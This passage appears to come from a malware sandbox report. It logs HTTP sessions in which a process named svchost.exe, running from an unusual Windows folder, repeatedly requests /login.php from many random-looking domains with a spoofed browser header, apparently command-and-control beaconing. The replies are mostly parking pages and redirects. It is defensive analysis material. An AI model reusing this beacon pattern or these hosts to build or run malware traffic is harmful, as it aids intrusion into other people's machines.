                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: ww5.galyqaz.com
                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                    Cookie: vsid=908vr478892903411187757
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.676769972 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                                    Accept-Ch: viewport-width
                                                                                                                                                                                                                    Accept-Ch: dpr
                                                                                                                                                                                                                    Accept-Ch: device-memory
                                                                                                                                                                                                                    Accept-Ch: rtt
                                                                                                                                                                                                                    Accept-Ch: downlink
                                                                                                                                                                                                                    Accept-Ch: ect
                                                                                                                                                                                                                    Accept-Ch: ua
                                                                                                                                                                                                                    Accept-Ch: ua-full-version
                                                                                                                                                                                                                    Accept-Ch: ua-platform
                                                                                                                                                                                                                    Accept-Ch: ua-platform-version
                                                                                                                                                                                                                    Accept-Ch: ua-arch
                                                                                                                                                                                                                    Accept-Ch: ua-model
                                                                                                                                                                                                                    Accept-Ch: ua-mobile
                                                                                                                                                                                                                    Accept-Ch-Lifetime: 30
                                                                                                                                                                                                                    Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:28 GMT
                                                                                                                                                                                                                    Server: Caddy
                                                                                                                                                                                                                    Server: nginx
                                                                                                                                                                                                                    Vary: Accept-Encoding
                                                                                                                                                                                                                    X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBALquDFETXRn0Hr05fUP7EJT77xYnPmRbpMy4vk8KYiHnkNpednjOANJcaXDXcKQJN0nXKZJL7TciJD8AoHXK158CAwEAAQ==_uO+U7DqLmecT5pcCjfYyFWmlt2eZFBLjDa6aLh9xD+Taz7YV8iVQszApdGIUn8VuS80Cg9SV4ZulrMRMdj9/yQ==
                                                                                                                                                                                                                    X-Domain: galyqaz.com
                                                                                                                                                                                                                    X-Pcrew-Blocked-Reason: hosting network
                                                                                                                                                                                                                    X-Pcrew-Ip-Organization: US Dedicated
                                                                                                                                                                                                                    X-Redirect: skenzo
                                                                                                                                                                                                                    X-Subdomain: ww5
                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                    Data Raw: 38 64 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 74 69 74 6c 65 3e 67 61 6c 79 71 61 7a 26 23 34 36 3b 63 6f 6d 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 0a 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 6c 61 6e 67 75 61 67 65 3d 27 4a 61 76 61 [TRUNCATED]
                                                                                                                                                                                                                    Data Ascii: 8dc<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>galyqaz&#46;com</title><meta http-equiv="Content-Type" content="text/html; charset=utf-8"/><script type='text/javascript' language='JavaScript'>var domain = 'galyqaz.com';v
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.676808119 CET1236INData Raw: 61 72 20 75 6e 69 71 75 65 54 72 61 63 6b 69 6e 67 49 44 20 3d 20 27 4d 54 63 7a 4d 54 4d 30 4e 7a 4d 77 4f 43 34 30 4e 54 59 32 4f 6d 46 6c 59 57 45 79 4d 6d 59 77 4d 57 45 77 4e 44 6c 6b 4d 6d 4a 69 4e 6a 49 32 59 32 52 6c 5a 6d 49 35 59 6a 49
                                                                                                                                                                                                                    Data Ascii: ar uniqueTrackingID = 'MTczMTM0NzMwOC40NTY2OmFlYWEyMmYwMWEwNDlkMmJiNjI2Y2RlZmI5YjI5NDQ1YjgxZWVkZGYzZmM3ZTQwMDMwNzkzN2E2ZDhiYjc3N2Q6NjczMjQzNmM2Zjc5MQ==';var clickTracking = false;var themedata = '';var xkw = '';var xsearch = '';var xpcat
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.676815033 CET424INData Raw: 28 4a 53 4f 4e 2e 70 61 72 73 65 28 78 68 72 2e 72 65 73 70 6f 6e 73 65 54 65 78 74 29 29 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 20 65 6c 73 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 27 54
                                                                                                                                                                                                                    Data Ascii: (JSON.parse(xhr.responseText)) } else { console.log('There was a problem with the request.'); } } } xhr.open('GET', path + '/ls.p' + 'hp?t=6732436c&token=' + encodeURI(token), true);
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.677014112 CET244INData Raw: 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 69 66 28 63 6c 69 63 6b 54 72 61 63 6b 69 6e 67 20 26 26 20 74 79 70 65 6f 66 20 74 72 61 63 6b 5f 6f 6e 63 6c 69 63 6b 20 3d 3d 20 27 66 75 6e 63 74 69 6f 6e 27 29 20 74 72 61 63 6b 5f 6f 6e 63 6c
                                                                                                                                                                                                                    Data Ascii: = function() {if(clickTracking && typeof track_onclick == 'function') track_onclick("3390e463258881b156d822283f4e8cf2d012f2a3");top.location.href = "http://ifdnzact.com/?dn=galyqaz.com&pid=9PO755G95";};</script></body></html>0
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.677020073 CET244INData Raw: 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 69 66 28 63 6c 69 63 6b 54 72 61 63 6b 69 6e 67 20 26 26 20 74 79 70 65 6f 66 20 74 72 61 63 6b 5f 6f 6e 63 6c 69 63 6b 20 3d 3d 20 27 66 75 6e 63 74 69 6f 6e 27 29 20 74 72 61 63 6b 5f 6f 6e 63 6c
                                                                                                                                                                                                                    Data Ascii: = function() {if(clickTracking && typeof track_onclick == 'function') track_onclick("3390e463258881b156d822283f4e8cf2d012f2a3");top.location.href = "http://ifdnzact.com/?dn=galyqaz.com&pid=9PO755G95";};</script></body></html>0


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    15192.168.2.44974913.248.169.48807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.721813917 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: pupydeq.com
                                                                                                                                                                                                                    Nov 11, 2024 18:48:29.183788061 CET259INHTTP/1.1 200 OK
                                                                                                                                                                                                                    Server: openresty
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:29 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Content-Length: 114
                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                    Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e
                                                                                                                                                                                                                    Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander"}</script></head></html>


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    16192.168.2.449750188.114.97.3807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.823981047 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: lysyvan.com
                                                                                                                                                                                                                    Nov 11, 2024 18:48:29.690118074 CET966INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:29 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                    Location: https://lysyvan.com/login.php
                                                                                                                                                                                                                    cf-cache-status: DYNAMIC
                                                                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6Nc6mIwqUBgH4bKzLJnyxjyUE%2BYEJp5EZUB3gF50QZKJPfFXBphVfaE0aUrjXiYpXsmbFjG%2FUrBqQkqo7JTMqSerJ5n0WOQH7JGIlaCew23ws0q6utzM7UJwHQj3lg%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                                                                    CF-RAY: 8e101d0a8d3f8c69-EWR
                                                                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=1576&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=243&delivery_rate=0&cwnd=247&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                                                                                                    Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                    Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
                                                                                                                                                                                                                    Nov 11, 2024 18:48:31.966146946 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: lysyvan.com
                                                                                                                                                                                                                    Nov 11, 2024 18:48:32.323754072 CET980INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:32 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                    Location: https://lysyvan.com/login.php
                                                                                                                                                                                                                    cf-cache-status: DYNAMIC
                                                                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mcY%2BJhkrYnovmaFHsMPeaENzA0hfjk7M7OqcBM8aNTbeYTab3Kps9Yqg4RR%2BT5krLTSSZm%2B6Ra%2BgXBbD7YwJWJxGT%2BcQEPt1U2JIVoDJeAHsS0J9oURSMrFHbcZMDw%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                                                                    CF-RAY: 8e101d1c08968c69-EWR
                                                                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=1563&sent=4&recv=6&lost=0&retrans=0&sent_bytes=966&recv_bytes=486&delivery_rate=1822529&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                                                                                                    Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                    Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.580204010 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: lysyvan.com
                                                                                                                                                                                                                    Nov 11, 2024 18:48:53.010138988 CET985INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:52 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                    Location: https://lysyvan.com/login.php
                                                                                                                                                                                                                    cf-cache-status: DYNAMIC
                                                                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Kg%2By2byLXD67MpLsu6FT3e0QEHtUutw%2BajW9kDL5tC%2FGlGEIN5HMOQ6a8zAPIYWgozdAJ7w2QfQCd%2FYLJClVBh93%2BDasQdvR%2B0AGGCpZWtZgZxEpwbt2M5jz%2BDY6wg%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                                                                    CF-RAY: 8e101d9cdcab8c69-EWR
                                                                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=1538&sent=7&recv=9&lost=0&retrans=0&sent_bytes=1946&recv_bytes=729&delivery_rate=1938420&cwnd=251&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                                                                                                    Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                    Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
                                                                                                                                                                                                                    Nov 11, 2024 18:48:55.903817892 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: lysyvan.com
                                                                                                                                                                                                                    Nov 11, 2024 18:48:56.237966061 CET981INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:56 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                    Location: https://lysyvan.com/login.php
                                                                                                                                                                                                                    cf-cache-status: DYNAMIC
                                                                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UTizxo1lasipF0Xdc2JHbEUClV%2BGh84kdcuMGd7yT7pnZ%2FSiPR4Myey%2Fm6HBHeHRF5R4jHmb%2FtXWlNUzipI1pMcbDEkaqpdfiCCeLnLHo%2BWN3oP26KAqMMI5tueCKw%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                                                                    CF-RAY: 8e101db1adc68c69-EWR
                                                                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=1553&sent=10&recv=12&lost=0&retrans=0&sent_bytes=2931&recv_bytes=972&delivery_rate=1938420&cwnd=4&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                                                                                                    Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                    Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    17192.168.2.44975118.208.156.248807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.982175112 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: pupycag.com
                                                                                                                                                                                                                    Nov 11, 2024 18:48:29.433037043 CET413INHTTP/1.1 200 OK
                                                                                                                                                                                                                    Server: nginx
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:29 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                    Set-Cookie: btst=61301e8cfbd3727174827ed60be69b85|66.23.206.109|1731347309|1731347309|0|1|0; path=/; domain=.pupycag.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                                    Set-Cookie: snkz=66.23.206.109; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT
                                                                                                                                                                                                                    Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                    Data Ascii: 0


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    18192.168.2.4497523.94.10.34807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:48:29.040858984 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: lygynud.com
                                                                                                                                                                                                                    Nov 11, 2024 18:48:29.468611956 CET413INHTTP/1.1 200 OK
                                                                                                                                                                                                                    Server: nginx
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:29 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                    Set-Cookie: btst=e9844edfcfbd35f0c1b56860bbc56c36|66.23.206.109|1731347309|1731347309|0|1|0; path=/; domain=.lygynud.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                                    Set-Cookie: snkz=66.23.206.109; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT
                                                                                                                                                                                                                    Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                    Data Ascii: 0


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    19192.168.2.449753103.150.10.48807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:48:29.385154009 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: lyrysor.com
                                                                                                                                                                                                                    Nov 11, 2024 18:48:30.198832035 CET404INHTTP/1.1 302 Moved Temporarily
                                                                                                                                                                                                                    Server: openresty/1.15.8.1
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:30 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Content-Length: 151
                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                    Location: http://106.15.232.163:8000/dh/147287063_192768.html#index8?d=lyrysor.com
                                                                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 31 35 2e 38 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                                                                                    Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty/1.15.8.1</center></body></html>
                                                                                                                                                                                                                    Nov 11, 2024 18:48:31.022658110 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: lyrysor.com
                                                                                                                                                                                                                    Nov 11, 2024 18:48:31.293713093 CET404INHTTP/1.1 302 Moved Temporarily
                                                                                                                                                                                                                    Server: openresty/1.15.8.1
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:31 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Content-Length: 151
                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                    Location: http://106.15.232.163:8000/dh/147287063_192768.html#index8?d=lyrysor.com
                                                                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 31 35 2e 38 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                                                                                    Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty/1.15.8.1</center></body></html>


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    20192.168.2.449755106.15.232.16380007436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:48:30.208036900 CET290OUTGET /dh/147287063_192768.html HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: 106.15.232.163:8000
                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                    Nov 11, 2024 18:48:31.021574974 CET722INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                    Server: openresty/1.21.4.3
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:30 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Content-Length: 561
                                                                                                                                                                                                                    Connection: keep-alive
